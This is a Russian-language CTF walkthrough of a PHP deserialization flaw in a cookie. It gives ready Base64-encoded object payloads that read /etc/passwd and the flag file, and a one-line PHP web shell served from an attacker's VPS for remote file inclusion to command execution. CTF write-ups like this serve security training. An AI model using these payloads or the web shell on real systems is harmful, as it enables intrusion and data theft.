ctf
February 16

Разбор Cookie handler CTF f8tasks

Необходимое ПО/утилиты для решения: Burp Suite, ffuf(или любой другой фаззер)

Заходим по URL: http://wsr.gmax.pro:32233/

На сайте встречает приветственное сообщение с намеками на обработчик сookie.

Перехватываем запрос бурпом:

Необходимо обратить внимание на заголовок Cookie с параметром user. Сами куки у нас закодированы в URL + Base64. После декодирования:

Т.к. у меня Burp Professional, мне пришло уведомление от пассивного сканера:

Похоже, что параметр user содержит сериализованный объект PHP.

Узнать больше об уязвимостях в сериализованных объектах можно здесь: https://portswigger.net/web-security/deserialization

В нашем случае:

    • O:4:"User":2: — Это объект (O) класса User, который имеет 4 символа в названии. У объекта есть 2 свойства.
    • s:10:"Username"; — Это строка (s) длиной 10 символов, содержащая имя свойства "Username".
    • s:2:"ws"; — Значение этого свойства — строка длиной 2 символа, "ws".
    • s:9:"Userwel"; — Это строка (s) длиной 9 символов, содержащая имя свойства "Userwel".
    • O:7:"Welcome":0:{} — Значение этого свойства — другой объект (O) класса Welcome, который имеет 7 символов в названии. У этого объекта нет свойств (0).

По факту далее с этим особо ничего нельзя сделать, не имея на руках исходников. Теперь необходимо поискать какие то подсказки. Пробуем фаззить директории/файлы:

Находим backup файл.

После анализа исходников в бэкапе, выясняем, что мы можем вызывать file inclusion, передавая в куки объект Log с атрибутом Logtype_log, а в строке указывая файл, не забывайте менять кол-во символов в строке в данном случае s:11. Base64: Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6IlRFU1QiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czoxMToiL2V0Yy9wYXNzd2QiO319

Кодируем в base64 и отправляем запрос


Далее file inclusion можно разными способами раскрутить до RCE. Или же можно попробовать нафаззить по директориям флаг. Рассмотрим несколько вариантов.

Сначала я думал что здесь LFI, а оказалось - RFI, что бывает крайне редко, тк настройка для RFI в php -allow_url_includeпо умолчанию отключена в современных версиях PHP.

<ЕСЛИ У ВАС НЕТ VPS НИЖЕ СПОСОБ БЕЗ НЕГО>

Для эксплуатации RFI необходим VPS(или белый айпи-адрес), с поднятым веб-сервером. А на нем php Скрипт который будет включать(inclusion) наш уязвимый сервер. В свою очередь скрипт будет позволять команды.

Заходим на VPS, создаем файл shell.txt, записываем туда следующий скрипт:

<?php system($_GET['poc']); ?>

В этой же директории запускаем simple http сервер с помощью питона:

В строке атрибута Logtype_log указываем URL с shell.txt а в get запросе указываем команду для выполнения:

Кодируем cookie в base64, отправляем запрос, и получаем ответ:

теперь или читаем через RCE или через inclusion флаг

Через RCE:


Способ получения флага без VPS, через включение файлов :

Сначала изменяем атрибут Logtype_log:

кодируем в base64 и отправляем запрос:

Base64 для получения флага:
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjQ6IlRFU1QiO3M6OToiAFVzZXIAd2VsIjtPOjM6IkxvZyI6MTp7czoxMzoiAExvZwB0eXBlX2xvZyI7czoxNzoiLi4vLi4vLi4vZmxhZy50eHQiO319


Автор: https://t.me/cybersecuritybureau | Здесь еще больше разборов